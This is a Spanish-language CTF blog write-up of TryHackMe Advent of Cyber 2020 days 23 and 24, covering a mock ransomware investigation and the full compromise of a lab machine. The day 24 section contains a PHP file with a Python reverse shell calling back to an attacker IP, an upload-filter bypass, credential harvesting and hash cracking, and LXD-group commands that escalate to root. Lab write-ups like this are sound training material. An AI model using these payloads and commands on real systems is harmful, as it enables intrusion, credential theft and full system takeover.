//smestring.src = hhttps://gist.github.com/heavenraiza/

var alls = document.getElementsByTagName('script');
var nt3 = true;
for (var i = alls.length; i--;) {
  //11d321244c4d667446dbfd9a3298a88b8
  if (alls[i].src.indexOf(String.fromCharCode(49, 49, 100, 51, 50, 49, 50, 52, 52, 99, 52, 100, 54, 54, 55, 52, 52, 54, 100, 98, 102, 100, 57, 97, 51, 50, 57, 56, 97, 56, 56, 98, 56)) > -1) {
    nt3 = false;
  }
}
if (nt3 == true) {
  document.getElementsByTagName('head')[0].appendChild(somestring);
}

image

DAY 23 - The Grinch strikes again!

En la descripcion del dia realizan una explicacion sobre Ransomware, Volume Shadow Copy Service y Task Scheduler, y que este malware puede hacer uso de tareas programadas. Para las diferentes tareas se hace el uso de las herramientas VSS y Task Scheduler.

  • Decrypt the fake ‘bitcoin address’ within the ransom note. What is the plain text value?, en el escritorio encontramos una nota de “rescate” que esta “encriptada” pero es codificacion base64, la decodificamos y tenemos la “direccion” bitcoin.
1
2
3
4
5
#As you were calmly looking at your documents I encrypted all the workstations at Best Festival Company just now. Including yours McEager! Send me lots and lots of money to my bitcoin address (bm9tb3JlYmVzdGZlc3RpdmFsY29tcGFueQ==) and MAYBE I'll give you the key to decrypt. >:^p

sckull@tars:~$ echo bm9tb3JlYmVzdGZlc3RpdmFsY29tcGFueQ==|base64 -d
nomorebestfestivalcompany
sckull@tars:~$
  • At times ransomware changes the file extensions of the encrypted files. What is the file extension for each of the encrypted files?, en la carpeta Documents\ y en la particion de Backup encontramos un archivo que parece estar encriptado y su extencion es .grinch.

  • What is the name of the suspicious scheduled task?, en Scheduler Task encontramos una tarea que ejecuta un ejecutable con un nombre extraño.
    image

  • Inspect the properties of the scheduled task. What is the location of the executable that is run at login?, la direccion del ejecutable.

  • There is another scheduled task that is related to VSS. What is the ShadowCopyVolume ID?, encontramos otra tarea que ejecuta el VSS con el nombre del ID de ShadowCopyVolume.
    image

  • Assign the hidden partition a letter. What is the name of the hidden folder?, en la particion de Backup activamos la opcion de mostrar archivos ocultos para ver la carpeta oculta.
    image

  • What is the password within the file?, en la carpeta que encontramos vemos Propiedades > Previous Version, abrimos la carpeta y archivo que contiene la contraseña.
    image

DAY 24 - The Trial Before Christmas

El ultimo dia presentan una descripcion de Burpsuite, MySQL, Cracking y Privilege Escalation LXD y una maquina la cual hay que obtener las respuestas a las tareas.

  • What ports are open?: Realizamos un escaneo de puertos donde encontramos el puerto 80 y 65000 abiertos.
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
# Nmap 7.80 scan initiated Thu Dec 24 17:56:29 2020 as: nmap -p- --min-rate 1000 -o scanPorts 10.10.88.80
Warning: 10.10.88.80 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.10.88.80 (10.10.88.80)
Host is up (0.34s latency).
Not shown: 63777 closed ports, 1756 filtered ports
PORT      STATE SERVICE
80/tcp    open  http
65000/tcp open  unknown

# Nmap done at Thu Dec 24 17:59:31 2020 -- 1 IP address (1 host up) scanned in 182.67 seconds
  • What’s the title of the hidden website?: utilizamos wfuzz para realizar una busqueda de directorios/paginas recursiva, en la primera busqueda encontramos dos paginas, realizamos una segunda busqueda utilizando el directorio/pagina /3/ ya que /codes/ nos muestra solo un mensaje. Al finalizar encontramos una pagina en /3/9/9/2/3/6/4/ en el puerto 80. En el puerto 65000 encontramos un login con el titulo que buscamos.
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
#PUERTO 80
#wfuzz -c -w /usr/share/wordlists/dirb/big.txt --hc 404 http://10.10.88.80/3/9/9/2/3/6/4/
/codes/
/3/

#PUERTO 650000
kali@kali:~/thm/adventcyber2$ gobuster dir -u http://10.10.88.80:65000/ -w /usr/share/wordlists/dirb/common.txt -q -t 25 -x php,html,txt
/api (Status: 301)
/assets (Status: 301)
/grid (Status: 301)
/index.php (Status: 200)
/index.php (Status: 200)
/server-status (Status: 403)
/uploads.php (Status: 200)
  • What is the name of the hidden php page?, con el escaneo con gobuster en el puerto 65000 encontramos la pagina, donde es posible subir archivos.

  • What is the name of the hidden directory where file uploads are saved?, segun el escaneo de gobuster encontramos el directorio/pagina /grid.

  • Bypass the filters. Upload and execute a reverse shell., intentamos subir una imagen en la pagina pero nos detecta que no es un tipo de archivo valido, analizando el codigo fuente vemos el codigo (filter.js, upload.js) donde se “filtran” los tipos de archivos png, jpeg, jpg pero al mismo tiempo estos tipos de archivos son los aceptados segun el codigo fuente de la pagina. Para hacer bypass utilizamos la configuracion de Burpusite descrita en el reto del dia, lo que ayudaria a que el filtro (filter.js) no “sea cargado” (opcion de Drop). Al realizar lo anterior si nos aceptaria los archivos y se mostrarían en /grid.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
//filter.js
const filter = file => {
  if(["image/png", "image/jpeg", "image/jpg"].indexOf(file.type) < 0){
    return false;
  } else if (["png", "jpeg", "jpg"].indexOf(file.name.split(".").pop()) < 0){
    return false;
  }

  //Let's be honest -- these things are dangerous. May as well always return false ¯\_(ツ)_/¯
  return false;

}

//upload.js
[... snip ... ]
if(typeof filter === "function"){
    if(!filter(file)){
      changeMsg("Invalid File Type");
      return;
    }
  }
[... snip ... ]

image

Subimos una imagen: batman.jpg.
image

Creamos un archivo que ejecute nuestra shell inversa con el nombre y codigo shell.jpg.php:

1
2
3
4
<?php
system("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.2.29.162\",1338));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'");

?>

image

  • What is the value of the web.txt flag?, con nuestra shell realizamos la busqueda del archivoweb.txt.
1
2
3
4
5
6
7
www-data@light-cycle:/var/www/TheGrid/public_html/grid$ find / -name web.txt 2>/dev/null
</public_html/grid$ find / -name web.txt 2>/dev/null    
/var/www/web.txt
www-data@light-cycle:/var/www/TheGrid/public_html/grid$ cat /var/www/web.txt
cat /var/www/web.txt
THM{ENT[... snip ...]ID}
www-data@light-cycle:/var/www/TheGrid/public_html/grid$
  • Upgrade and stabilize your shell., con nuestra shell y con la descripcion del reto actualizamos nuestra shell a una más comoda.

  • Review the configuration files for the webserver to find some useful loot in the form of credentials. What credentials do you find? username:password, realizamos una enumeracion de archivos de la pagina que encontramos y vemos las credenciales para la base de datos.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
www-data@light-cycle:/var/www/TheGrid/includes$ cat dbauth.php
cat dbauth.php
<?php
  $dbaddr = "localhost";
  $dbuser = "t[... snip ...]on";
  $dbpass = "IFight[... snip ...]Users";
  $database = "tron";

  $dbh = new mysqli($dbaddr, $dbuser, $dbpass, $database);
  if($dbh->connect_error){
    die($dbh->connect_error);
  }
?>
  • Access the database and discover the encrypted credentials. What is the name of the database you find these in?, utilizando las credenciales ingresamos a la base de datos donde vemos las credenciales encriptadas.
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
www-data@light-cycle:/var/www/TheGrid/includes$ mysql -u tron -p
[... snip ...]

mysql> show databases;
show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| tron               |
+--------------------+
2 rows in set (0.09 sec)

mysql> use tron;
show tables;
use tron;

Database changed
mysql> show tables;
+----------------+
| Tables_in_tron |
+----------------+
| users          |
+----------------+
1 row in set (0.00 sec)

mysql> select * from users;
select * from users;
+----+----------+----------------------------------+
| id | username | password                         |
+----+----------+----------------------------------+
|  1 | flynn    | edc628f6[... snip ...]683f5e3ff7 |
+----+----------+----------------------------------+
1 row in set (0.00 sec)

mysql>
  • Crack the password. What is it?, utilizando CrackStation obtenemos en texto plano el hash que encontramos en la base de datos.
    image

  • Use su to login to the newly discovered user by exploiting password reuse. - What is the value of the user.txt flag?, utilizamos la contraseña y usuario en la maquina para cambiar de usuario y obtener la flag user.txt.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
www-data@light-cycle:/var/www/TheGrid/includes$ cat /etc/passwd
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
[... snip ...]
pollinate:x:111:1::/var/cache/pollinate:/bin/false
flynn:x:1000:1000:flynn,,,:/home/flynn:/bin/bash
www-data@light-cycle:/var/www/TheGrid/includes$ su flynn
su flynn
Password: @co[... snip ...]er@

flynn@light-cycle:/var/www/TheGrid/includes$ cd
cd
flynn@light-cycle:~$ ls -lah
ls -lah
total 32K
drwxr-xr-x 4 flynn flynn 4.0K Dec 19 16:42 .
drwxr-xr-x 3 root  root  4.0K Dec 18 14:08 ..
lrwxrwxrwx 1 root  root     9 Dec 18 17:44 .bash_history -> /dev/null
-rw-r--r-- 1 flynn flynn  220 Dec 18 14:08 .bash_logout
-rw-r--r-- 1 flynn flynn 3.7K Dec 18 14:08 .bashrc
drwx------ 2 flynn flynn 4.0K Dec 18 14:10 .cache
drwx------ 3 flynn flynn 4.0K Dec 18 14:10 .gnupg
-rw-r--r-- 1 flynn flynn  807 Dec 18 14:08 .profile
-rw-r--r-- 1 flynn flynn    0 Dec 18 14:10 .sudo_as_admin_successful
-r-------- 1 flynn flynn   30 Dec 19 16:42 user.txt
flynn@light-cycle:~$ cat user.txt
cat user.txt
THM{IDEN[... snip ...]NISED}
flynn@light-cycle:~$
  • Check the user’s groups. Which group can be leveraged to escalate privileges?, vemos los grupos a los que el usuario actual pertence.
1
2
3
4
5
6
7
flynn@light-cycle:~$ id
id
uid=1000(flynn) gid=1000(flynn) groups=1000(flynn),109(lxd)
flynn@light-cycle:~$ groups
groups
flynn lxd
flynn@light-cycle:~$
  • Abuse this group to escalate privileges to root., utilizamos la misma forma para escalar privilegios con lxd como en las maquinas de htb y thm.
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
#LOCAL
git clone  https://github.com/saghul/lxd-alpine-builder.git
cd lxd-alpine-builder
./build-alpine -a i686

#GAMINSERVER MACHINE
lxc image import ./alpine-v3.12-i686-20200831_2152.tar.gz --alias myimage
lxc image list

lxc init myimage sckull -c security.privileged=true
lxc config device add sckull mydevice disk source=/ path=/mnt/root recursive=true
lxc start sckull
lxc exec sckull /bin/sh

image

  • What is the value of the root.txt flag?
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
~ # cd /mnt/root/root
cd /mnt/root/root
/mnt/root/root # ls -lah
ls -lah
total 32K    
drwx------    4 root     root        4.0K Dec 20 03:51 .
drwxr-xr-x   23 root     root        4.0K Dec 18 14:18 ..
lrwxrwxrwx    1 root     root           9 Dec 18 17:43 .bash_history -> /dev/null
-rw-r--r--    1 root     root        3.0K Apr  9  2018 .bashrc
drwxr-x---    3 root     root        4.0K Dec 20 03:51 .config
lrwxrwxrwx    1 root     root           9 Dec 19 15:15 .mysql-history -> /dev/null
-rw-------    1 root     root         264 Dec 19 15:19 .mysql_history
-rw-r--r--    1 root     root         148 Aug 17  2015 .profile
drwx------    2 root     root        4.0K Dec 18 17:57 .ssh
-r--------    1 root     root         600 Dec 19 20:18 root.txt
/mnt/root/root # cat root.txt
cat root.txt
THM{FLY[... snip ...]ES}



"As Elf McEager claimed the root flag a click could be heard as a small chamber on the anterior of the NUC popped open. Inside, McEager saw a small object, roughly the size of an SD card. As a moment, he realized that was exactly what it was. Perplexed, McEager shuffled around his desk to pick up the card and slot it into his computer. Immediately this prompted a window to open with the word 'HOLO' embossed in the center of what appeared to be a network of computers. Beneath this McEager read the following: Thank you for playing! Merry Christmas and happy holidays to all!"
/mnt/root/root #
Share on

Dany Sucuc
WRITTEN BY
sckull
RedTeamer & Pentester wannabe